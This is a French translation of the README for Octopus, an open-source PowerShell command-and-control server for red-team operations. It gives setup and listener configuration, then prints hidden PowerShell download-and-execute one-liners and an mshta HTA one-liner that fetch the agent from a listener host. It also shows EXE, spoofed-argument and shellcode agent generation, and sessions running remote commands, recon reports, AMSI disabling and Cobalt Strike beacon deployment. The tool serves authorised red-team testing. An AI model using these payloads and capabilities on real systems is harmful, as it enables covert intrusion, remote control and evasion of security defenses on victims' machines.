
Serveur C2 open source de pré-opération basé sur Python et PowerShell
Octopus est un serveur C2 open source de pré-opération basé sur Python qui permet de contrôler un agent Octopus PowerShell via HTTP/S.
L'objectif principal de la création d'Octopus est de l'utiliser avant toute opération de red team, où plutôt que de commencer l'engagement avec l'intégralité de votre arsenal opérationnel et de votre infrastructure, vous pouvez d'abord utiliser Octopus pour attaquer la cible et collecter des informations avant de démarrer votre véritable opération de red team.
Octopus fonctionne de manière très simple pour exécuter des commandes et échanger des informations avec le C2 via un canal bien chiffré, ce qui le rend discret et indétectable par presque tous les antivirus, protections de points de terminaison et solutions de surveillance réseau.
Une fonctionnalité intéressante d'Octopus est appelée ESA, pour « Endpoint Situational Awareness », qui recueille des informations importantes sur la cible afin de mieux comprendre les points de terminaison du réseau cible que vous rencontrerez lors de votre opération, vous donnant ainsi la possibilité de personnaliser votre opération réelle en fonction de ces informations.
Octopus est conçu pour être furtif et discret lors de la communication avec le C2, car il utilise AES-256 par défaut pour son canal chiffré entre l'agent PowerShell et le serveur C2. Vous pouvez également opter pour l'utilisation de SSL/TLS en fournissant un certificat valide pour votre domaine et en configurant le serveur C2 Octopus pour l'utiliser.
Octopus est doté d'un certain nombre de fonctionnalités qui vous permettent d'avoir un aperçu de votre prochain engagement avant de devoir déployer tout votre arsenal ou vos outils et techniques, telles que :
Vous pouvez installer tous les prérequis d'Octopus via :
pip install -r requirements.txt
Vous devez installer nasm pour Linux et le compilateur mingw-w64 pour utiliser la fonctionnalité de shellcoding et l'agent avec arguments falsifiés.
Vous pouvez installer nasm sur les distributions basées sur Debian en utilisant :
apt install nasm
Et vous pouvez installer mingw-w64 sur les distributions basées sur Debian en utilisant :
apt install mingw-w64
Octopus a été testé sur les systèmes d'exploitation suivants :
Vous devrez également installer mono pour vous assurer de pouvoir compiler le code source C# sans problème.
Octopus dépend du binaire mono-csc pour compiler le code source C# et vous pouvez l'installer avec la commande suivante apt install mono-devel, qui a été testée sur Kali et Ubuntu 16.04.
vous pouvez utiliser Octopus sans installer mono mais vous ne pourrez pas utiliser la commande
generate_exe.
Notez également que la compilation du C# dépend de l'assembly System.Management.Automation.dll avec le hachage SHA1 a43ed886b68c6ee913da85df9ad2064f1d81c470.
Si vous rencontrez des problèmes avec Octopus, n'hésitez pas à signaler un bug !
Tout d'abord, assurez-vous de télécharger la dernière version d'Octopus en utilisant la commande suivante :
git clone https://github.com/mhaskar/Octopus/
Ensuite, installez les prérequis avec la commande suivante :
pip install -r requirements.txt
Après cela, vous pouvez démarrer le serveur Octopus en exécutant :
./octopus.py
Vous serez accueilli par ce qui suit lorsque vous l'exécuterez :
┌─[askar@hackbook]─[/opt/redteaming/Octopus]
└──╼ $python3 octopus.py
___ ___ ___ ___ ___ ___
/ /\ / /\ ___ / /\ / /\ /__/\ / /\
/ /::\ / /:/ / /\ / /::\ / /::\ \ \:\ / /:/_
/ /:/\:\ / /:/ / /:/ / /:/\:\ / /:/\:\ \ \:\ / /:/ /\
/ /:/ \:\ / /:/ ___ / /:/ / /:/ \:\ / /:/~/:/ ___ \ \:\ / /:/ /::\
/__/:/ \__\:\ /__/:/ / /\ / /::\ /__/:/ \__\:\ /__/:/ /:/ /__/\ \__\:\ /__/:/ /:/\:\
\ \:\ / /:/ \ \:\ / /:/ /__/:/\:\ \ \:\ / /:/ \ \:\/:/ \ \:\ / /:/ \ \:\/:/~/:/
\ \:\ /:/ \ \:\ /:/ \__\/ \:\ \ \:\ /:/ \ \::/ \ \:\ /:/ \ \::/ /:/
\ \:\/:/ \ \:\/:/ \ \:\ \ \:\/:/ \ \:\ \ \:\/:/ \__\/ /:/
\ \::/ \ \::/ \__\/ \ \::/ \ \:\ \ \::/ /__/:/
\__\/ \__\/ \__\/ \__\/ \__\/ \__\/
v1.2 stable !
Octopus C2 | Control your shells
Octopus >>
Octopus est assez simple à utiliser : il suffit de démarrer un écouteur et de générer votre agent basé sur les informations de cet écouteur.
Vous pouvez générer autant d'écouteurs que nécessaire, puis commencer à interagir avec vos agents qui s'y connectent.
Avant de pouvoir utiliser Octopus, vous devez configurer un profil de gestion d'URL qui contrôlera le comportement et les fonctions du C2. Octopus étant un C2 basé sur HTTP, il dépend des URLs pour gérer les connexions et pour garantir que les URLs ne serviront pas de signatures ou d'IoC dans le réseau que vous attaquez. Les URLs peuvent être facilement personnalisées et renommées selon vos besoins.
La configuration du profil ne prend actuellement en charge que la gestion des URLs, la valeur d'arrêt automatique et les en-têtes.
Configuration de votre profil
Pour commencer à configurer votre profil, vous devez modifier le fichier profile.py, qui contient plusieurs variables clés :
Exemple :
#!/usr/bin/python3
# this is the web listener profile for Octopus C2
# you can customize your profile to handle a specific URLs to communicate with the agent
# TODO : add the ability to customize the request headers
# handling the file downloading
# Ex : /anything
# Ex : /anything.php
file_receiver_url = "/messages"
# handling the report generation
# Ex : /anything
# Ex : /anything.php
report_url = "/calls"
# command sending to agent (store the command will be executed on a host)
# leave <hostname> as it with the same format
# Ex : /profile/<hostname>
# Ex : /messages/<hostname>
# Ex : /bills/<hostname>
command_send_url = "/view/<hostname>"
# handling the executed command
# Ex : /anything
# Ex : /anything.php
command_receiver_url = "/bills"
# handling the first connection from the agent
# Ex : /anything
# Ex : /anything.php
first_ping_url = "/login"
# will return in every response as Server header
server_response_header = "nginx"
# will return white page that includes HTA script
mshta_url = "/hta"
# auto kill value after n tries
auto_kill = 10
L'agent et les écouteurs seront configurés pour utiliser ce profil afin de communiquer entre eux. Ensuite, nous devons apprendre à créer un écouteur.
Octopus dispose de deux écouteurs principaux, « écouteur HTTP » et « écouteur HTTPS », et les options des deux écouteurs sont pratiquement identiques.
Écouteur HTTP :
La commande listen_http prend les arguments suivants pour démarrer :
Vous pouvez également voir un exemple en exécutant la commande listen_http :
Octopus >>listen_http
[-] Please check listener arguments !
Syntax : listen_http BindIP BindPort hostname interval URL listener_name
Example (with domain) : listen_http 0.0.0.0 8080 myc2.live 5 comments.php op1_listener
Example (without domain) : listen_http 0.0.0.0 8080 172.0.1.3 5 profile.php op1_listener
##########
Options info :
BindIP IP address that will be used by the listener
BindPort port you want to listen on
Hostname will be used to request the payload from
Interval how may seconds that agent will wait before check for commands
URL page name will hold the payload
Listener_name listener name to use
Octopus >>
Et nous pouvons démarrer un écouteur en utilisant la commande suivante :
listen_http 0.0.0.0 8080 192.168.178.1 5 page.php operation1
Le résultat suivant sera renvoyé :
Octopus >>listen_http 0.0.0.0 8080 192.168.178.1 5 page.php operation1
Octopus >> * Serving Flask app "core.weblistener" (lazy loading)
* Environment: production
WARNING: Do not use the development server in a production environment.
Use a production WSGI server instead.
* Debug mode: off
Octopus >>
Un écouteur a été démarré avec succès, et nous pouvons voir tous les écouteurs avec la commande listeners :
Octopus >>listeners
Name IP Port Host Interval Path SSL
---------- ------- ------ ------------- ---------- -------- -----
operation1 0.0.0.0 8080 192.168.178.1 5 page.php False
Octopus >>
Écouteur HTTPS :
Pour créer un écouteur HTTPS, vous pouvez utiliser la commande listen_https comme suit :
Octopus >>listen_https
[-] Please check listener arguments !
Syntax : listen_https BindIP BindPort hostname interval URL listener_name certficate_path key_path
Example (with domain) : listen_https 0.0.0.0 443 myc2.live 5 login.php op1_listener certs/cert.pem certs/key.pem
Octopus >>listen_https 0.0.0.0 443 myc2.live 5 login.php darkside_operation certs/cert.pem certs/key.pem
SSL listener started !
[+]darkside_operation Listener has been created
Octopus >> * Serving Flask app "core.weblistener" (lazy loading)
* Environment: production
WARNING: Do not use the development server in a production environment.
Use a production WSGI server instead.
* Debug mode: off
Octopus >>
La commande listen_https prend les arguments suivants pour démarrer :
Veuillez noter que vous devez fournir un certificat SSL valide associé au domaine utilisé.
One-liner PowerShell
Pour générer un agent pour l'écouteur operation1, nous pouvons utiliser la commande suivante :
generate_powershell operation1
et nous obtiendrons le résultat suivant :
Octopus >>generate_powershell operation1
#====================
1) powershell -w hidden "IEX (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"
2) powershell -w hidden "Invoke-Expression (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"
3) powershell -w hidden "$w = (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');Invoke-Expression $w;"
Note - For Windows 7 clients you may need to prefix the payload with "Add-Type -AssemblyName System.Core;"
e.g. powershell -w hidden "Add-Type -AssemblyName System.Core;IEX (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"
Hack your way in ;)
#====================
Octopus >>
Nous pouvons maintenant utiliser ce one-liner pour démarrer notre agent.
One-liner HTA
Pour générer un one-liner HTA pour l'écouteur operation1, nous pouvons utiliser la commande suivante :
generate_hta operation1
et nous obtiendrons le résultat suivant :
Octopus >>generate_hta operation1
#====================
mshta http://192.168.178.1:8080/hta
spread it and wait ;)
#====================
Octopus >>
Veuillez noter que vous pouvez modifier l'URL /hta dans profile.py.
Agent EXE Octopus
Pour générer un agent EXE pour l'écouteur operation1, nous pouvons utiliser la commande suivante :
generate_unmanaged_exe operation1 /opt/Octopus/file.exe
et nous obtiendrons le résultat suivant :
Octopus >>generate_unmanaged_exe darkside_operation2 /opt/Octopus/file.exe
[+] file compiled successfully !
[+] binary file saved to /opt/Octopus/file.exe
Octopus >>
Veuillez noter que vous devez installer mono-csc pour compiler le code source C#.
Agent avec arguments falsifiés Octopus
Vous pouvez générer un nouvel agent EXE qui exécutera un processus PowerShell avec des arguments falsifiés, basé sur les travaux brillants d'Adam Chester.
Pour générer cet exe, vous pouvez utiliser la commande suivante :
Octopus >>generate_spoofed_args_exe
[-] Please select a listener and check your options !
Syntax : generate_spoofed_args_exe listener_name output_path
Example : generate_spoofed_args_exe listener1 /opt/Octopus/file.exe
Octopus >>
Génération de shellcode x64 et x86
Octopus peut générer du shellcode x64 et x86 à partir de la version 1.2. Le shellcode généré utilise CreateProcessA pour lancer le one-liner powershell.exe qui démarrera l'agent PowerShell.
Pour générer du shellcode x64, vous pouvez utiliser la commande suivante :
Octopus >>generate_x64_shellcode
[-] Please select a listener and check your options !
Syntax : generate_x64_shellcode listener_name
Example : generate_x64_shellcode listener1
Octopus >>
Pour générer du shellcode x86, vous pouvez utiliser la commande suivante :
Octopus >>generate_x86_shellcode
[-] Please select a listener and check your options !
Syntax : generate_x86_shellcode listener_name
Example : generate_x86_shellcode listener1
Octopus >>
Tout d'abord, vous pouvez lister tous les agents connectés à l'aide de la commande list pour obtenir les résultats suivants :
Octopus >>list
Session IP Hostname PID Username Domain Last ping OS
--------- ------------ ----------- ----- ------------- ------------ ------------------------ --------------------------------
1 192.168.1.43 HR-PC-TYRMJ 10056 hr-pc\labuser darkside.com Tue Sep 3 10:22:07 2019 Microsoft Windows 10 Pro(64-bit)
Octopus >>
Ensuite, nous pouvons utiliser la commande interact pour interagir avec l'hôte comme suit :
Octopus >>list
Session IP Hostname PID Username Domain Last ping OS
--------- ------------ ----------- ----- ------------- ------------ ------------------------ --------------------------------
1 192.168.1.43 HR-PC-TYRMJ 10056 hr-pc\labuser darkside.com Tue Sep 3 10:22:07 2019 Microsoft Windows 10 Pro(64-bit)
Octopus >>interact 1
(HR-PC-TYRMJ) >>
Vous pouvez lister toutes les commandes disponibles avec la commande help comme ceci :
Octopus >>list
Session IP Hostname PID Username Domain Last ping OS
--------- ------------ ----------- ----- ------------- ------------ ------------------------ --------------------------------
1 192.168.1.43 HR-PC-TYRMJ 10056 hr-pc\labuser darkside.com Tue Sep 3 10:22:07 2019 Microsoft Windows 10 Pro(64-bit)
Octopus >>interact 1
(HR-PC-TYRMJ) >> help
Available commands to use :
Hint : if you want to execute system command just type it and wait for the results
+++++++++
help show this help menu
exit/back exit current session and back to the main screen
clear clear the screen output
download download file from the target machine
deploy_cobalt_beacon deploy cobalt strike powershell beacon in the current process
load load powershell module to the target machine
disable_amsi disable AMSI on the target machine
report get situation report from the target
(HR-PC-TYRMJ) >>
Pour exécuter une commande système directement, nous pouvons taper la commande directement et attendre les résultats en fonction du temps d'intervalle défini lors de la création de l'écouteur.
(HR-PC-TYRMJ) >> ipconfig
[+] Command sent , waiting for results
(HR-PC-TYRMJ) >>
Command execution result is :
Windows IP Configuration
Ethernet adapter Ethernet1:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . : home
Link-local IPv6 Address . . . . . : fe80::f85f:d52b:1d8d:cbae%10
IPv4 Address. . . . . . . . . . . : 192.168.1.43
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.1.1
Ethernet adapter Ethernet:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Ethernet adapter Bluetooth Network Connection:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
(HR-PC-TYRMJ) >>
Dans ce cas, la commande a été chiffrée puis envoyée à l'agent, après quoi le client déchiffrera la commande et l'exécutera. L'agent chiffrera les résultats et les renverra au C2 pour les déchiffrer et afficher les résultats.
Nous pouvons également utiliser la commande report pour obtenir les informations ESA comme suit :
(HR-PC-TYRMJ) >> report
[+] Command sent , waiting for results
(HR-PC-TYRMJ) >>
Endpoint situation awareness report for HR-PC-QNGAV
=============
Hostname : HR-PC-QNGAV
Domain : darkside.com
OS : Microsoft Windows 10 Pro(64-bit)
OS build : 10.0.17134
OS arch : 64-bit
AntiVirus : Symantec
SIEM solution : False
Internal interfaces/IPs :
IP : 192.168.178.144
IP : 172.12.1.20
Device language : en-US
Device uptime : 41.6386169797778 hours
Device local time : 21:55(09/09/2019)
(HR-PC-TYRMJ) >>
Vous pouvez charger un module PowerShell externe en le plaçant dans le répertoire modules, puis en exécutant load module.ps1.
Vous pouvez également lister tous les modules du répertoire modules en exécutant la commande modules comme ceci :
(HR-PC-TYRMJ) >> modules
PowerView.ps1
(HR-PC-TYRMJ) >> load PowerView.ps1
[+] Module should be loaded !
(HR-PC-TYRMJ) >>
Ian Lyte pour avoir signalé plusieurs bugs dans Octopus et fourni un module de contournement AMSI amélioré.
Khlief pour avoir ajouté le module HTA et corrigé un bug dans la fonctionnalité de téléchargement.
Moath Maharmah pour avoir amélioré le module de chiffrement et écrit un agent Octopus C# autonome qui sera ajouté à la prochaine version.
TeslaPulse pour avoir testé Octopus.
J005 pour avoir ajouté un one-liner PowerShell amélioré et corrigé un problème dans le script d'attaque HID.
Ce projet est sous licence GPL-3.0 - voir le fichier LICENSE pour plus de détails.